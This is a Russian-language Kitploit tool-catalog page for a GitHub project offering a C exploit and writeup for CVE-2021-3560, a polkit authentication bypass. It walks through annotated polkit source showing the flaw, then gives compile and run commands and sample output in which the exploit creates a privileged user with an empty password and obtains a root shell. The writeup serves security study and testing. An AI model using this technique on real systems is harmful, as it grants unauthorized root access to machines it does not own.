Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3560 — a reliable C based exploit and writeup for CVE-2021-3560. | Kitploit
Инструменты/GitHubGitHub/hakivvi/cve-2021-3560
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHubhakivvi/cve-2021-3560

CVE-2021-3560

a reliable C based exploit and writeup for CVE-2021-3560.

Репозиторий
40125 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-3560

Надёжный эксплойт на C для CVE-2021-3560.

Краткое описание:

Вчера я наткнулся на эту публикацию в блоге Кевина Бэкхауса (обнаружившего эту уязвимость), я попробовал bash-команды, приведённые в статье, и, к моему удивлению, они сработали на моей машине с Kali Linux!

CVE-2021-3560 — это обход аутентификации в polkit, который позволяет непривилегированному пользователю вызывать привилегированные методы через DBus. PoC использует эту ошибку для вызова двух привилегированных методов, предоставляемых accountsservice (CreateUser и SetPassword), что позволяет создать привилегированного пользователя, а затем установить ему пароль.

polkit проверяет, авторизован ли вызывающий для вызова такого метода. Сначала он проверяет UID вызывающего: если он равен нулю, то вызывающий считается root, и действие разрешается без запроса аутентификации; в противном случае запрашивается пароль пользователя.

Функция polkit_system_bus_name_get_creds_sync() вызывает два метода для получения UID и PID вызывающего: GetConnectionUnixUser и GetConnectionUnixProcessID. Результат этих вызовов записывается в структуру data типа AsyncGetBusNameCredsData (эта структура инициализируется нулями) функцией обратного вызова on_retrieved_unix_uid_pid(), а polkit_system_bus_name_get_creds_sync() блокируется в ожидании, пока функция обратного вызова не установит ошибку или не вернёт UID и PID.

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // инициализируем нулями
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* имя */
			  "/org/freedesktop/DBus",      /* путь объекта */
			  "org.freedesktop.DBus",       /* имя интерфейса */
			  "GetConnectionUnixUser",      /* метод */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // функция обратного вызова
			  &data); // data передаётся в функцию обратного вызова вместе с ответом от метода
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* имя */
			  "/org/freedesktop/DBus",      /* путь объекта */
			  "org.freedesktop.DBus",       /* имя интерфейса */
			  "GetConnectionUnixProcessID", /* метод */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // функция обратного вызова
			  &data); // data передаётся в функцию обратного вызова вместе с ответом от метода

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // ждём, пока не будет вызвана on_retrieved_unix_uid_pid()
    g_main_context_iteration (tmp_context, TRUE);

Функция обратного вызова on_retrieved_unix_uid_pid() вызывается после каждого вызова метода для получения ответа (UID и PID) или установки ошибки. Эта функция вызывает g_dbus_connection_call_finish(), чтобы получить ответ; если произошла ошибка, она устанавливает data.caught_error в TRUE и возвращается (data.uid и data.pid остаются равными 0). В противном случае она присваивает полученное значение (UID или PID) data.uid или data.pid (в зависимости от того, какое значение получено) и возвращается.

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src, // connection
			   GAsyncResult         *res, // объект асинхронного результата
			   gpointer              user_data) // параметр data, переданный из предыдущей функции
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // завершаем и получаем ответ
  if (!v) // ошибка??
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // распаковываем ответ, получаем UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // метод GetConnectionUnixUser
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // метод GetConnectionUnixProcessID
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

Методы GetConnectionUnixUser и GetConnectionUnixProcessID вернут UID и PID, если вызывающий процесс всё ещё подключён к шине, или ошибку, если произошла ошибка (например, вызывающий процесс был завершён).

Как только data.uid и data.pid установлены или data.caught_error установлен, функция polkit_system_bus_name_get_creds_sync() продолжает выполнение, и здесь находится уязвимость: polkit_system_bus_name_get_creds_sync() не возвращает ошибку, если установлен data.caught_error; вместо этого она присваивает out_uid значение data.uid и возвращает TRUE (даже если data.caught_error установлен). out_pid — это указатель на переменную guint32, переданную в polkit_system_bus_name_get_creds_sync() при вызове из polkit_system_bus_name_get_user_sync():

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // указатель
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // ждём обработки ответа функцией обратного вызова
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // устанавливаем, даже если ошибка [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // устанавливаем, даже если ошибка [!]
  ret = TRUE; // возвращаем TRUE, даже если ошибка [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

Эксплуатация:

Если процесс A вызывает привилегированный метод через DBus, то polkit проверяет UID вызывающего. Если процесс A завершается сразу после отправки сообщения, то методы GetConnectionUnixUser и GetConnectionUnixProcessID вернут ошибку, так как вызывающего процесса больше не существует. Функция обратного вызова on_retrieved_unix_uid_pid() установит data.caught_error в TRUE, data.uid и data.pid останутся неизменными (то есть оба будут равны 0, так как структура data инициализирована нулями). Функция polkit_system_bus_name_get_creds_sync() продолжит выполнение и установит out_uid в data.uid (0) и вернёт TRUE.

Некоторые функции будут продолжать возвращать поддельный UID (0), пока polkit_backend_session_monitor_get_user_for_subject() не вернёт user_of_subject (созданный из поддельного UID) в функцию check_authorization_sync(), которая проверит, является ли UID root, вызвав identity_is_root_user(user_of_subject), и если это вернёт TRUE, то процесс A будет авторизован.

root@kitploit:~
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* частный случай: uid 0, root, _всегда_ авторизован для любых действий */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // авторизовать вызывающего
      goto out;
    }

  [snip]
 

PoC:

Я решил написать PoC с использованием C API DBus. Я не использовал sleep() в ожидании отправки сообщения целевому сервису; вместо этого функции DBus предоставляют параметр тайм-аута. Таким образом, (зло)употребляя этим параметром, можно заставить функцию вернуться сразу после отправки сообщения, а затем завершить процесс. Это позволит нам эксплуатировать уязвимость в polkit и обойти аутентификацию. Обратитесь к этой статье в блоге за техническими деталями.

Запуск:

  1. Скомпилируйте эксплойт:
root@kitploit:~
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
  1. Запустите эксплойт:
root@kitploit:~
user@host: ./exploit
  • Вывод:
root@kitploit:~
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] создание пользователя "pwned-1624301069" ...
[!] пользователь создан!
[*] пользователь: pwned-1624301069, uid: 1007
[*] установка пустого пароля для пользователя "pwned-1624301069" ..
[*] для пользователя "pwned-1624301069" установлен пустой пароль!
[!] выполните: "sudo su root" от пользователя "pwned-1624301069", чтобы получить root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
Скачать инструмент